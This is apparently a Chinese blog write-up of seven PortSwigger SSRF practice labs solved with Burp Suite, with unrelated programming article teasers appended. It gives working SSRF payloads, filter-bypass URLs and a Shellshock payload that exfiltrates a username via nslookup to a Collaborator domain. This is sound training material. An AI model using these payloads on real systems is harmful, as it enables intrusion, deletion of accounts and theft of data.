burp靶场--ssrf

news/2024/7/23 21:44:59 标签: 渗透测试, 网络安全

burp靶场–ssrf

1.什么是ssrf

服务器端请求伪造是一种 Web 安全漏洞,允许攻击者导致服务器端应用程序向非预期位置发出请求。
在典型的 SSRF 攻击中,攻击者可能会导致服务器连接到组织基础设施内的仅供内部使用的服务。在其他情况下,他们可能能够强制服务器连接到任意外部系统。这可能会泄露敏感数据,例如授权凭据,或者代码执行。

实验1:针对本地服务器的基本 SSRF

ssrf绕过了admin的访问控制,通过get传参数来达到攻击目的,将指定用户carlos删除:

## 进入靶场:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
## 操作:
浏览/admin并发现您无法直接访问管理页面。
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
stockApi将参数 中的 URL 更改为http://localhost/admin。这应该显示管理界面。
读取HTML,识别删除目标用户的URL,即:

http://localhost/admin/delete?username=carlos
在参数中提交此URL stockApi,以传递SSRF攻击。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
跟随重定向:删除成功:
在这里插入图片描述

实验2:针对另一个后端系统的基本 SSRF

### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请使用库存检查功能扫描192.168.0.X端口 8080 上管理界面的内部范围,然后使用它删除用户carlos。
### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Intruder。
单击“清除§”,更改stockApi参数,http://192.168.0.1:8080/admin然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加§”。
切换到“有效负载”选项卡,将有效负载类型更改为“数字”,然后在“从”、“到”和“步长”框中分别输入 1、255 和 1。
单击“开始攻击”。
单击“状态”列可按状态代码升序对其进行排序。您应该看到一个状态为 200 的条目,显示管理界面。
点击这个请求,将其发送到Burp Repeater,并将其中的路径更改为stockApi:/admin/delete?username=carlos

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
url get请求删除用户:
在这里插入图片描述

实验3:带外检测的盲 SSRF

### 实验要求:
该网站使用分析软件,在加载产品页面时获取 Referer 标头中指定的 URL。
要完成本实验,请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求。
### 操作:
访问一个产品,在Burp Suite中拦截请求,并发送给Burp Repeater。
转到中继器选项卡。选择 Referer 标头,右键单击并选择“插入 Collaborator Payload”,将原始域替换为 Burp Collaborator 生成的域。发送请求。
转到“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟然后重试,因为服务器端命令是异步执行的。
您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验4:具有基于黑名单的输入过滤器的SSRF

### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://localhost/admin并删除用户carlos。
开发人员部署了两种较弱的反 SSRF 防御措施,您需要绕过它们。
### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
将参数中的URL修改stockApi为http://127.0.0.1/,观察请求被阻止。
通过将 URL 更改为以下内容来绕过阻止:http://127.1/
将 URL 更改为http://127.1/admin,观察该 URL 再次被阻止。
通过将“a”双 URL 编码为 %2561 来混淆“a”,以访问管理界面并删除目标用户。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验5:通过开放重定向漏洞绕过过滤器的 SSRF

### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://192.168.0.12:8080/admin并删除用户carlos。
库存检查器被限制只能访问本地应用程序,因此您需要首先找到影响应用程序的开放重定向。

### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
尝试篡改参数stockApi并观察到不可能使服务器直接向不同的主机发出请求。
单击“下一个产品”,观察path参数被放置到重定向响应的 Location 标头中,从而导致开放重定向。
创建一个利用开放重定向漏洞的 URL,并重定向到管理界面,并将其输入stockApi股票检查器的参数中:

/product/nextProduct?path=http://192.168.0.12:8080/admin
请注意,库存检查器遵循重定向并向您显示管理页面。
修改删除目标用户的路径:

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

检测查看库存的流量包:
在这里插入图片描述

检测其功能的数据包:
在这里插入图片描述
在这里插入图片描述
发送到repeater

创建一个利用开放重定向漏洞的URL,重定向到管理界面,并将其输入股票检查器上的stockApi参数:

/product/nextProduct?path=http://192.168.0.12:8080/admin
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验6:带有 Shellshock 漏洞的盲目 SSRF

### 实验要求:
该网站使用分析软件,在加载产品页面时获取 Referer 标头中指定的 URL。
为了完成该实验,请使用此功能对端口 8080 范围内的内部服务器 执行盲目 SSRF192.168.0.X攻击。在盲目攻击中,对内部服务器使用 Shellshock 负载来窃取操作系统用户的名称。

### 实验操作:
在Burp Suite Professional中,从 BApp Store 安装“Collaborator Everywhere”扩展。
将实验室的域添加到 Burp Suite 的目标范围中,以便 Collaborator Everywhere 能够瞄准它。
浏览网站。
请注意,当您加载产品页面时,它会通过 Referer 标头触发与 Burp Collaborator 的 HTTP 交互。
请注意,HTTP 交互在 HTTP 请求中包含您的用户代理字符串。
将请求发送到产品页面至 Burp Intruder。
转到Collaborator选项卡并生成唯一的 Burp Collaborator 有效负载。将其放入以下 ​​Shellshock 负载中:

() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
将 Burp Intruder 请求中的 User-Agent 字符串替换为包含您的 Collaborator 域的 Shellshock 有效负载。
单击“清除§”,更改 Referer 标头,然后http://192.168.0.1:8080突出显示 IP 地址的最后一个八位字节(数字1),然后单击“添加§”。
切换到“有效负载”选项卡,将有效负载类型更改为“数字”,然后在“从”、“到”和“步长”框中分别输入 1、255 和 1。
单击“开始攻击”。
攻击完成后,返回“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟然后重试,因为服务器端命令是异步执行的。您应该看到由成功的盲目SSRF 攻击所击中的后端系统发起的 DNS 交互。操作系统用户的名称应出现在 DNS 子域中。
要完成实验,请输入操作系统用户的名称。

在这里插入图片描述
为了测试,需要安装插件:
在Burp Suite Professional中,从BApp Store安装"Collaborator Everywhere"扩展
在这里插入图片描述
插件的检测

将实验室域添加到Burp Suite的目标范围,以便Collaborator Everywhere将其作为目标。
在这里插入图片描述
在这里插入图片描述
观察HTTP交互在HTTP请求中包含User-Agent字符串。将对产品页面的请求发送给Burp Intruder
在这里插入图片描述
ssrf盲测

使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

我的是:
() { :; }; /usr/bin/nslookup $(whoami).a0bxi9n7k9aet0253kqkh12io9u0ir6g.oastify.com

单击“clear §”,更改 Referer 标头,http://192.168.0.1:8080然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加 §”
在这里插入图片描述
切换到Payloads选项卡,将有效负载类型更改为Numbers,并在"From"、“To"和"Step"框中分别输入1、255和1(单击"开始攻击”)
在这里插入图片描述
攻击完成后,返回Collaborator选项卡,然后单击"立即轮询"。应该看到一个DNS交互,它是由被成功的盲SSRF攻击击中的后端系统发起的。操作系统用户的名称应显示在DNS子域中。

(如果始终没有结果,考虑是否是cookie过期,换一个cookie;或者重新复制一个BP客户端URL)
在这里插入图片描述
在这里插入图片描述
提交flag,完成实验:
在这里插入图片描述

实验7:具有基于白名单的输入过滤器的 SSRF

### 实验参考:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://localhost/admin并删除用户carlos。
开发人员已经部署了您需要绕过的反 SSRF 防御。

### 实验操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
将参数中的 URL 更改stockApi为http://127.0.0.1/并观察应用程序正在解析 URL、提取主机名并根据白名单对其进行验证。
将 URL 更改为http://username@stock.weliketoshop.net/并观察是否已接受该 URL,这表明 URL 解析器支持嵌入凭据。
将 a 附加#到用户名并观察该 URL 现在被拒绝。
双 URL 编码#并%2523观察极其可疑的“内部服务器错误”响应,表明服务器可能已尝试连接到“用户名”。
要访问管理界面并删除目标用户,请将 URL 更改为:

http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
将URL更改为

http://username@stock.weliketoshop.net/
并观察其是否被接受,结果表明URL解析器支持嵌入式凭据
在这里插入图片描述
在用户名后附加一个#,观察URL被拒绝
在这里插入图片描述

在这里插入图片描述
完成实验 :
因为没有管理员凭据,所以使用http://localhost:80绕过:
要访问管理界面并删除目标用户,将URL更改为:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

在这里插入图片描述
在这里插入图片描述

参考:

### ssrf:burp靶场:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
### burp ssrf靶场参考:
https://mp.weixin.qq.com/s/ZUFS8ISQv8qm0iCEB0sh6Q
### payloads:ssrf服务端请求伪造
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
### owasp 服务端请求伪造:ssrf
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery

http://www.niftyadmin.cn/n/5333707.html

相关文章

【leetcode100-037】【二叉树/dfs/bfs】二叉树的最大深度

【题干】 给定一个二叉树 root ,返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 【思路】 还是二叉树经典题,今天写两个解法。 dfs递归:对任意节点,其树高左右子树中更高的那个树高1…

第二百七十四回

文章目录 1. 概念介绍2. 方法与类型2.1 使用方法2.2 常见类型 3. 示例代码4. 内容总结 我们在上一章回中介绍了"如何加载本地图片"相关的内容,本章回中将介绍如何获取文件类型.闲话休提,让我们一起Talk Flutter吧。 1. 概念介绍 我们在本章回…

安卓屏幕自动息屏时亮度突然变亮

自然息屏流程 USER_ACTIVITY_SCREEN_BRIGHT(亮屏) → USER_ACTIVITY_SCREEN_DIM(DIM) → USER_ACTIVITY_SCREEN_DREAM(灭屏)变化,最终进入ASLEEP后。在息屏时会执行一个变暗的动画 frameworks\…

Android 9.0 当系统内置两个Launcher时默认设置Launcher3以外的那个Launcher为默认Launcher

1.概述 在9.0系统rom定制化开发中,由于产品开发需要要求系统内置两个Launcher,一个是Launcher3,一个是自己开发的Launcher,当系统启动Launcher时, 不要弹出Launcher选择列表 选择哪个Launcher要求默认选择自己开发的Launcher作为默认Launcher,关于选择Launcher列表 其实都是…

【SpringBoot系列】一键解决跨域问题

🤵‍♂️ 个人主页:@香菜的个人主页,加 ischongxin ,备注csdn ✍🏻作者简介:csdn 认证博客专家,游戏开发领域优质创作者,华为云享专家,2021年度华为云年度十佳博主 🐋 希望大家多多支持,我们一起进步!😄 如果文章对你有帮助的话, 欢迎评论 💬点赞👍🏻 收…

[Linux 进程(五)] 程序地址空间深度剖析

文章目录 1、前言2、什么是进程地址空间?3、进程地址空间的划分4、虚拟地址与物理地址的关系5、页表的作用扩展 6、为什么要有地址空间? 1、前言 Linux学习路线比较线性,也比较长,因此一个完整的知识点学习就会分布在两篇文章中&…

Vue3中动态组件使用

一&#xff0c;动态组件使用&#xff1a; 应用场景&#xff1a;动态绑定或切换组件 应用Vue3碎片&#xff1a; is 1.使用 a.组件A <div class"layout-base"><Button>红茶</Button> </div>a.组件B <div class"layout-base"&g…

多进程打包

问题&#xff1a; 利用pyinstaller打包成exe后程序不停开进程卡死电脑。已清理逻辑了都还是这样不停开进程。 原因&#xff1a; 多进程没冻结窗口。 解决方案&#xff1a; 添加&#xff1a; from multiprocessing import freeze_support if __name__ "__main__&quo…